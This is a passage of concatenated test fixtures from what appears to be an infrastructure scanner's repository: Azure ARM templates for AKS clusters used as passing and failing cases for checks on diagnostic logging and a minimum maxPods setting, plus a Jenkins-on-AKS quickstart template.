picked out the sizes with 2 vCPUs, but in real world projects you can choose other sizes as you desired." } }, "kubernetesVersion": { "type": "string", "defaultValue": "1.14.6", "allowedValues": [ "1.10.13", "1.11.10", "1.12.8", "1.13.10", "1.14.6" ], "metadata": { "description": "The version of Kubernetes." } }, "jenkinsDnsPrefix": { "type": "string", "metadata": { "description": "Unique DNS Name prefix for the Public IP used to access the Jenkins Virtual Machine. Azure will form the final DNS name as '..cloudapp.azure.com'." } }, "servicePrincipalAppId": { "type": "string", "metadata": { "description": "Service Principal App ID (also called Client ID) that has contributor rights to the subscription used for this deployment. It is used by the Kubernetes cluster to dynamically manage resources (e.g. user-defined load balancers)." } }, "servicePrincipalAppKey": { "type": "securestring", "metadata": { "description": "Service Principal App Key (also called Client Secret) that has contributor rights to the subscription used for this deployment. It is used by the Kubernetes cluster to dynamically manage resources (e.g. user-defined load balancers)." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "resourcePrefix": "jenkins", "OSDiskName": "[concat(variables('resourcePrefix'), '-os-disk')]", "nicName": "[concat(variables('resourcePrefix'), '-nic')]", "subnetName": "[concat(variables('resourcePrefix'), '-subnet')]", "publicIPAddressName": "[concat(variables('resourcePrefix'), '-ip')]", "vmName": "[concat(variables('resourcePrefix'), '-vm')]", "virtualNetworkName": "[concat(variables('resourcePrefix'), '-vnet')]", "vmExtensionName": "[concat(variables('resourcePrefix'), '-init')]", "frontEndNSGName": "[concat(variables('resourcePrefix'), '-nsg')]", "aksName": "aks", "aksDnsPrefix": "[concat('aks', uniqueString(resourceGroup().id))]", "_artifactsLocation": "https://raw.githubusercontent.com/Azure/jenkins/master", "_extensionScript": "301-jenkins-aks-zero-downtime-deployment.sh", "_artifactsLocationSasToken": "" }, "resources": [ { "type": "Microsoft.Compute/virtualMachines", "name": "[variables('vmName')]", "apiVersion": "2016-04-30-preview", "location": "[parameters('location')]", "properties": { "osProfile": { "computerName": "[variables('vmName')]", "adminUsername": "[parameters('adminUsername')]", "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { "path": "[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]", "keyData": "[parameters('sshPublicKey')]" } ] } } }, "hardwareProfile": { "vmSize": "[parameters('virtualMachineSize')]" }, "storageProfile": { "imageReference": { "publisher": "Canonical", "offer": "UbuntuServer", "sku": "16.04-LTS", "version": "latest" }, "osDisk": { "name": "[variables('OSDiskName')]", "createOption": "FromImage", "managedDisk": { "storageAccountType": "Standard_LRS" } }, "dataDisks": [] }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]" } ] } }, "dependsOn": [ "[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]" ], "resources": [ { "type": "extensions", "name": "[variables('vmExtensionName')]", "apiVersion": "2015-06-15", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]", "[resourceId('Microsoft.ContainerService/managedClusters', variables('aksName'))]" ], "properties": { "publisher": "Microsoft.Azure.Extensions", "type": "CustomScript", "typeHandlerVersion": "2.0", "autoUpgradeMinorVersion": true, "settings": { "fileUris": [ "[concat(variables('_artifactsLocation'), '/quickstart_templates/zero_downtime_deployment/', variables('_extensionScript'), variables('_artifactsLocationSasToken'))]" ] }, "protectedSettings": { "commandToExecute": "[concat('./', variables('_extensionScript'), ' --app_id \"', parameters('servicePrincipalAppId'), '\" --app_key \"', parameters('servicePrincipalAppKey'), '\" --subscription_id \"', subscription().subscriptionId, '\" --tenant_id \"', subscription().tenantId, '\" --resource_group \"', resourceGroup().name, '\" --aks_name \"', variables('aksName'), '\" --jenkins_fqdn \"', reference(variables('publicIPAddressName')).dnsSettings.fqdn, '\" --artifacts_location \"', variables('_artifactsLocation'), '\" --sas_token \"', variables('_artifactsLocationSasToken'), '\"')]" } } } ] }, { "type": "Microsoft.Network/virtualNetworks", "name": "[variables('virtualNetworkName')]", "apiVersion": "2016-12-01", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "10.89.0.0/16" ] }, "subnets": [ { "name": "[variables('subnetName')]", "properties": { "addressPrefix": "10.89.0.0/24" } } ] } }, { "type": "Microsoft.Network/networkInterfaces", "name": "[variables('nicName')]", "apiVersion": "2016-09-01", "location": "[parameters('location')]", "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]" }, "privateIPAllocationMethod": "Dynamic", "publicIpAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIPAddressName'))]" } } } ], "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('frontEndNSGName'))]" } }, "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworkName'))]", "[resourceId('Microsoft.Network/publicIpAddresses', variables('publicIpAddressName'))]", "[resourceId('Microsoft.Network/networkSecurityGroups', variables('frontEndNSGName'))]" ] }, { "type": "Microsoft.Network/publicIPAddresses", "name": "[variables('publicIPAddressName')]", "apiVersion": "2017-06-01", "location": "[parameters('location')]", "properties": { "publicIPAllocationMethod": "Dynamic", "dnsSettings": { "domainNameLabel": "[parameters('jenkinsDnsPrefix')]" } } }, { "type": "Microsoft.Network/networkSecurityGroups", "name": "[variables('frontEndNSGName')]", "apiVersion": "2017-06-01", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "default-allow-ssh", "properties": { "priority": 1000, "protocol": "Tcp", "access": "Allow", "direction": "Inbound", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*", "destinationPortRange": "22" } }, { "name": "allow-jenkins-http", "properties": { "priority": 1001, "protocol": "Tcp", "access": "Allow", "direction": "Inbound", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*", "destinationPortRange": "80" } } ] } }, { "apiVersion": "2017-08-31", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[variables('aksName')]", "properties": { "kubernetesVersion": "[parameters('kubernetesVersion')]", "dnsPrefix": "[variables('aksDnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "count": 2, "vmSize": "[parameters('virtualMachineSize')]", "osType": "Linux", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('adminUsername')]", "ssh": { "publicKeys": [ { "path": "[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]", "keyData": "[parameters('sshPublicKey')]" } ] } }, "servicePrincipalProfile": { "ClientId": "[parameters('servicePrincipalAppId')]", "Secret": "[parameters('servicePrincipalAppKey')]" } } } ], "outputs": { "admin_username": { "type": "string", "value": "[parameters('adminUsername')]" }, "jenkins_vm_fqdn": { "type": "string", "value": "[reference(variables('publicIPAddressName')).dnsSettings.fqdn]" }, "jenkins_url": { "type": "string", "value": "[concat('http://', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]" }, "SSH": { "type": "string", "value": "[concat('ssh -L 8080:localhost:8080 ', parameters('adminUsername'), '@', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]" }, "kubernetes_master_fqdn": { "type": "string", "value": "[reference(resourceId('Microsoft.ContainerService/managedClusters', variables('aksName'))).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSLoggingEnabled/aksLoggingEnabled-FAILED3.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "aksClusterName": { "type": "string", "minLength": 3, "maxLength": 31, "metadata": { "description": "Required. AKS Cluster Name." } }, "dnsPrefix": { "type": "string", "minLength": 3, "maxLength": 45, "metadata": { "description": "Required. DNS prefix to use with hosted Kubernetes API server FQDN." } }, "agentOSDiskSizeGb": { "defaultValue": 0, "minValue": 0, "maxValue": 1023, "type": "int", "metadata": { "description": "Optional. Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." } }, "agentOSType": { "defaultValue": "Linux", "allowedValues": [ "Linux", "Windows" ], "type": "string", "metadata": { "description": "Optional. The type of operating system." } }, "agentCount": { "defaultValue": 3, "minValue": 1, "maxValue": 50, "type": "int", "metadata": { "description": "Optional. The number of agent nodes for the cluster." } }, "agentVMSize": { "defaultValue": "Standard_D2_v2", "type": "string", "metadata": { "description": "Optional. The size of the Virtual Machine." } }, "servicePrincipalClientId": { "type": "securestring", "metadata": { "description": "Required. Server Principal Client ID for AKS to securely interact with Azure to create resources." } }, "servicePrincipalClientSecret": { "type": "securestring", "metadata": { "description": "Required. Service Principal Client Secret for AKS to securely interact with Azure to create resources." } }, "kubernetesVersion": { "defaultValue": "1.13.10", "type": "string", "metadata": { "description": "Optional. The version of Kubernetes. Always use the latest version of Kubernetes. Refer - https://docs.microsoft.com/en-us/azure/aks/supported-kubernetes-versions" } }, "networkPlugin": { "defaultValue": "azure", "allowedValues": [ "azure", "kubenet" ], "type": "string", "metadata": { "description": "Optional. Network plugin used for building Kubernetes network." } }, "enableRBAC": { "defaultValue": true, "type": "bool", "metadata": { "description": "Optional. Boolean flag to turn on and off of RBAC. The RBAC for AKS is separate from Azure RBAC. Enabling RBAC on AKS allows role based access control using kubectl." } }, "vNetId": { "type": "string", "metadata": { "description": "Required. Resource ID of virtual network used for nodes and/or pods IP assignment." } }, "subnetName": { "type": "string", "metadata": { "description": "Required. Resource Name of subnet used for nodes and/or pods IP assignment. Make sure your subnet CIDR allows the number of nodes you specify." } }, "serviceCIDR": { "type": "string", "metadata": { "description": "Required. A CIDR notation IP range from which to assign to internal services in your cluster. Does not overlap with the VNet CIDR and must be smaller than /12." } }, "dnsServiceIp": { "defaultValue": "172.17.0.10", "type": "string", "metadata": { "description": "Required. Containers DNS server IP address. Must be within the address range of serviceCIDR. Don't use the first IP address in your address range such as .1" } }, "dockerBridgeCIDR": { "type": "string", "metadata": { "description": "Required. A CIDR notation IP of IP address used as the Docker bridge IP on nodes. This CIDR is tied to the number of containers on the node. Default of 172.17.0.1/16." } }, "logAnalyticsResourceId": { "type": "string", "metadata": { "description": "Required. Resource ID containing the insights" } }, "diagnosticsEventHubName": { "type": "string", "defaultValue": "", "metadata": { "description": "Optional. Event Hub Name for the diagnostics events" } }, "diagnosticsEventHubAuthRuleId": { "type": "string", "metadata": { "description": "Required. Resource ID of the event hub authorization rule for the Event Hubs namespace in which the event hub should be created or streamed to." } }, "diagnosticsStorageId": { "type": "string", "metadata": { "description": "Required. Storage account for the diagnostics events" } }, "rbacServerAppId": { "type": "string", "metadata": { "description": "Required. RBAC server app id" } }, "rbacServerSecret": { "type": "securestring", "metadata": { "description": "Required. RBAC server app secret" } }, "rbacClientAppId": { "type": "string", "metadata": { "description": "Required. RBAC client app id" } }, "rbacTenant": { "type": "string", "defaultValue": "[subscription().tenantId]", "metadata": { "description": "Optional. RBAC tenant" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Optional. The location of AKS resource." } } }, "variables": { "emptyContent": {}, "omsAgentConfig": { "omsagent": { "enabled": true, "config": { "logAnalyticsWorkspaceResourceID": "[parameters('logAnalyticsResourceId')]" } } } }, "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "name": "[parameters('aksClusterName')]", "apiVersion": "2018-03-31", "location": "[parameters('location')]", "tags": { "displayName": "[concat(parameters('aksClusterName'))]" }, "properties": { "kubernetesVersion": "[parameters('kubernetesVersion')]", "enableRBAC": "[parameters('enableRBAC')]", "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGb": "[parameters('agentOSDiskSizeGb')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('agentOSType')]", "storageProfile": "ManagedDisks", "vnetSubnetID": "[concat(parameters('vNetId'), '/subnets/', parameters('subnetName'))]" } ], "servicePrincipalProfile": { "clientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" }, "networkProfile": { "networkPlugin": "[parameters('networkPlugin')]", "serviceCidr": "[parameters('serviceCIDR')]", "dnsServiceIP": "[parameters('dnsServiceIP')]", "dockerBridgeCidr": "[parameters('dockerBridgeCIDR')]" }, "aadProfile": { "clientAppID": "[parameters('rbacClientAppId')]", "serverAppID": "[parameters('rbacServerAppId')]", "serverAppSecret": "[parameters('rbacServerSecret')]", "tenantID": "[parameters('rbacTenant')]" }, "addonProfiles": "[if( empty(parameters('logAnalyticsResourceId')) , variables('emptyContent'), variables('omsAgentConfig'))]" }, "resources": [ { "type": "Microsoft.ContainerService/managedClusters/providers/diagnosticSettings", "name": "[concat(parameters('aksClusterName'), '/Microsoft.Insights/service')]", "dependsOn": [ "[resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))]" ], "apiVersion": "2017-05-01-preview", "properties": { "workspaceId": "[parameters('logAnalyticsResourceId')]", "storageAccountId": "[parameters('diagnosticsStorageId')]", "eventHubName": "[parameters('diagnosticsEventHubName')]", "eventHubAuthorizationRuleId": "[parameters('diagnosticsEventHubAuthRuleId')]", "logs": [ { "category": "kube-apiserver", "enabled": true, "retentionPolicy": { "days": 0, "enabled": false } }, { "category": "kube-controller-manager", "enabled": true, "retentionPolicy": { "days": 0, "enabled": false } }, { "category": "cluster-autoscaler", "enabled": true, "retentionPolicy": { "days": 0, "enabled": false } }, { "category": "kube-scheduler", "enabled": true, "retentionPolicy": { "days": 0, "enabled": false } }, { "category": "kube-audit", "enabled": true, "retentionPolicy": { "days": 0, "enabled": false } } ], "metrics": [ { "timeGrain": "PT1M", "enabled": true, "retentionPolicy": { "enabled": false, "days": 0 } } ] } } ], "dependsOn": [ ] } ], "outputs": { "aksClusterId": { "type": "string", "value": "[resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))]" }, "aksClusterResourceGroup": { "type": "string", "value": "[resourceGroup().name]" }, "aksClusterName": { "type": "string", "value": "[parameters('aksClusterName')]" }, "nodeResourceGroupId": { "type": "string", "value": "[concat('/subscriptions/', resourceGroup().id, '/resourceGroups/', reference(concat('Microsoft.ContainerService/managedClusters/', parameters('aksClusterName'))).nodeResourceGroup)]" }, "nodeResourceGroup": { "type": "string", "value": "[reference(concat('Microsoft.ContainerService/managedClusters/', parameters('aksClusterName'))).nodeResourceGroup]" }, "controlPlaneFQDN": { "type": "string", "value": "[reference(concat('Microsoft.ContainerService/managedClusters/', parameters('aksClusterName'))).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSLoggingEnabled/aksLoggingEnabled-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "aksResourceId": { "type": "string", "metadata": { "description": "AKS Cluster Resource ID" } }, "aksResourceLocation": { "type": "string", "metadata": { "description": "Location of the AKS resource e.g. \"East US\"" } }, "aksResourceTagValues": { "type": "object", "metadata": { "description": "Existing all tags on AKS Cluster Resource" } }, "workspaceResourceId": { "type": "string", "metadata": { "description": "Azure Monitor Log Analytics Resource ID" } } }, "resources": [ { "name": "[split(parameters('aksResourceId'),'/')[8]]", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('aksResourceLocation')]", "tags": "[parameters('aksResourceTagValues')]", "apiVersion": "2018-03-31", "properties": { "mode": "Incremental", "id": "[parameters('aksResourceId')]", "addonProfiles": { "omsagent": { "enabled": true, "config": { "logAnalyticsWorkspaceResourceID": "[parameters('workspaceResourceId')]" } } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSMaxPodsMinimum/agentPoolProfiles_with_maxPods_fail4.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "12705365244308198684" } }, "parameters": { "aksClusterName": { "type": "string", "defaultValue": "aks101cluster-vmss", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of AKS resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "maxValue": 1023, "minValue": 0, "metadata": { "description": "Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." } }, "agentCount": { "type": "int", "defaultValue": 3, "maxValue": 100, "minValue": 1, "metadata": { "description": "The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production" } }, "agentVMSize": { "type": "string", "defaultValue": "Standard_D2s_v3", "metadata": { "description": "The size of the Virtual Machine." } }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux", "Windows" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2020-03-01", "name": "agentPoolProfiles_with_maxPods_fail4", "location": "[parameters('location')]", "sku": { "name": "Basic", "tier": "Free" }, "identity": { "type": "SystemAssigned" }, "properties": { "kubernetesVersion": "[parameters('kubernetesVersion')]", "dnsPrefix": "[variables('dnsPrefix')]", "agentPoolProfiles":[ { "name": "agentpool", "count": 3, "vmSize": "[parameters('agentVMSize')]", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "maxPods": 28, "type": "VirtualMachineScaleSets", "orchestratorVersion": "[parameters('kubernetesVersion')]", "mode": "System", "osType": "Linux" } ] , "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "msi" }, "nodeResourceGroup": "[concat('MC_', resourceGroup().name,'_', parameters('clusterName'), '_',parameters('location'))]", "enableRBAC": true, "networkProfile": { "networkPlugin": "kubenet", "loadBalancerSku": "Basic", "podCidr": "[parameters('podCidr')]", "serviceCidr": "[parameters('serviceCidr')]", "dnsServiceIP": "[parameters('dnsServiceIP')]", "dockerBridgeCidr": "[parameters('dockerBridgeCidr')]", "outboundType": "loadBalancer" } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSMaxPodsMinimum/agentPoolProfiles_with_maxPods_pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "12705365244308198684" } }, "parameters": { "aksClusterName": { "type": "string", "defaultValue": "aks101cluster-vmss", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of AKS resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "maxValue": 1023, "minValue": 0, "metadata": { "description": "Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." } }, "agentCount": { "type": "int", "defaultValue": 3, "maxValue": 100, "minValue": 1, "metadata": { "description": "The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production" } }, "agentVMSize": { "type": "string", "defaultValue": "Standard_D2s_v3", "metadata": { "description": "The size of the Virtual Machine." } }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux", "Windows" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2020-03-01", "name": "agentPoolProfiles_with_maxPods_pass", "location": "[parameters('location')]", "sku": { "name": "Basic", "tier": "Free" }, "identity": { "type": "SystemAssigned" }, "properties": { "kubernetesVersion": "[parameters('kubernetesVersion')]", "dnsPrefix": "[variables('dnsPrefix')]", "agentPoolProfiles":[ { "name": "agentpool", "count": 3, "vmSize": "[parameters('agentVMSize')]", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "maxPods": 51, "type": "VirtualMachineScaleSets", "orchestratorVersion": "[parameters('kubernetesVersion')]", "mode": "System", "osType": "Linux" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "msi" }, "nodeResourceGroup": "[concat('MC_', resourceGroup().name,'_', parameters('clusterName'), '_',parameters('location'))]", "enableRBAC": true, "networkProfile": { "networkPlugin": "kubenet", "loadBalancerSku": "Basic", "podCidr": "[parameters('podCidr')]", "serviceCidr": "[parameters('serviceCidr')]", "dnsServiceIP": "[parameters('dnsServiceIP')]", "dockerBridgeCidr": "[parameters('dockerBridgeCidr')]", "outboundType": "loadBalancer" } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSMaxPodsMinimum/agentPoolProfiles_without_maxPods_fail3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "12705365244308198684" } }, "parameters": { "aksClusterName": { "type": "string", "defaultValue": "aks101cluster-vmss", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of AKS resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "maxValue": 1023, "minValue": 0, "metadata": { "description": "Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." } }, "agentCount": { "type": "int", "defaultValue": 3, "maxValue": 100, "minValue": 1, "metadata": { "description": "The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production" } }, "agentVMSize": { "type": "string", "defaultValue": "Standard_D2s_v3", "metadata": { "description": "The size of the Virtual Machine." } }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux", "Windows" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2020-03-01", "name": "agentPoolProfiles_without_maxPods_fail3", "location": "[parameters('location')]", "sku": { "name": "Basic", "tier": "Free" }, "identity": { "type": "SystemAssigned" }, "properties": { "kubernetesVersion": "[parameters('kubernetesVersion')]", "dnsPrefix": "[variables('dnsPrefix')]", "agentPoolProfiles":[ { "name": "agentpool", "count": 3, "vmSize": "[parameters('agentVMSize')]", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "type": "VirtualMachineScaleSets", "orchestratorVersion": "[parameters('kubernetesVersion')]", "mode": "System", "osType": "Linux" } ] , "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "msi" }, "nodeResourceGroup": "[concat('MC_', resourceGroup().name,'_', parameters('clusterName'), '_',parameters('location'))]", "enableRBAC": true, "networkProfile": { "networkPlugin": "kubenet", "loadBalancerSku": "Basic", "podCidr": "[parameters('podCidr')]", "serviceCidr": "[parameters('serviceCidr')]", "dnsServiceIP": "[parameters('dnsServiceIP')]", "dockerBridgeCidr": "[parameters('dockerBridgeCidr')]", "outboundType": "loadBalancer" } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSMaxPodsMinimum/properties_with_maxPods_fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "12705365244308198684" } }, "parameters": { "aksClusterName": { "type": "string", "defaultValue": "aks101cluster-vmss", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of AKS resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "maxValue": 1023, "minValue": 0, "metadata": { "description": "Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." } }, "agentCount": { "type": "int", "defaultValue": 3, "maxValue": 100, "minValue": 1, "metadata": { "description": "The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production" } }, "agentVMSize": { "type": "string", "defaultValue": "Standard_D2s_v3", "metadata": { "description": "The size of the Virtual Machine." } }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux", "Windows" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "type": "Microsoft.ContainerService/managedClusters/agentPools", "apiVersion": "2020-03-01", "name": "properties_with_maxPods_fail2", "dependsOn": [ "[resourceId('Microsoft.ContainerService/managedClusters', parameters('clusterName'))]" ], "properties": { "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "maxPods": 33, "type": "VirtualMachineScaleSets", "orchestratorVersion": "[parameters('kubernetesVersion')]", "mode": "System", "osType": "Linux" } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSMaxPodsMinimum/properties_with_maxPods_pass1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "12705365244308198684" } }, "parameters": { "aksClusterName": { "type": "string", "defaultValue": "aks101cluster-vmss", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of AKS resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "maxValue": 1023, "minValue": 0, "metadata": { "description": "Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." } }, "agentCount": { "type": "int", "defaultValue": 3, "maxValue": 100, "minValue": 1, "metadata": { "description": "The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production" } }, "agentVMSize": { "type": "string", "defaultValue": "Standard_D2s_v3", "metadata": { "description": "The size of the Virtual Machine." } }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux", "Windows" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "type": "Microsoft.ContainerService/managedClusters/agentPools", "apiVersion": "2020-03-01", "name": "properties_with_maxPods_pass1", "dependsOn": [ "[resourceId('Microsoft.ContainerService/managedClusters', parameters('clusterName'))]" ], "properties": { "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "type": "VirtualMachineScaleSets", "orchestratorVersion": "[parameters('kubernetesVersion')]", "mode": "System", "osType": "Linux", "maxPods": 51 } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSMaxPodsMinimum/properties_without_maxPods_fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "12705365244308198684" } }, "parameters": { "aksClusterName": { "type": "string", "defaultValue": "aks101cluster-vmss", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of AKS resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "maxValue": 1023, "minValue": 0, "metadata": { "description": "Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." } }, "agentCount": { "type": "int", "defaultValue": 3, "maxValue": 100, "minValue": 1, "metadata": { "description": "The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production" } }, "agentVMSize": { "type": "string", "defaultValue": "Standard_D2s_v3", "metadata": { "description": "The size of the Virtual Machine." } }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux", "Windows" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "type": "Microsoft.ContainerService/managedClusters/agentPools", "apiVersion": "2020-03-01", "name": "properties_without_maxPods_fail", "dependsOn": [ 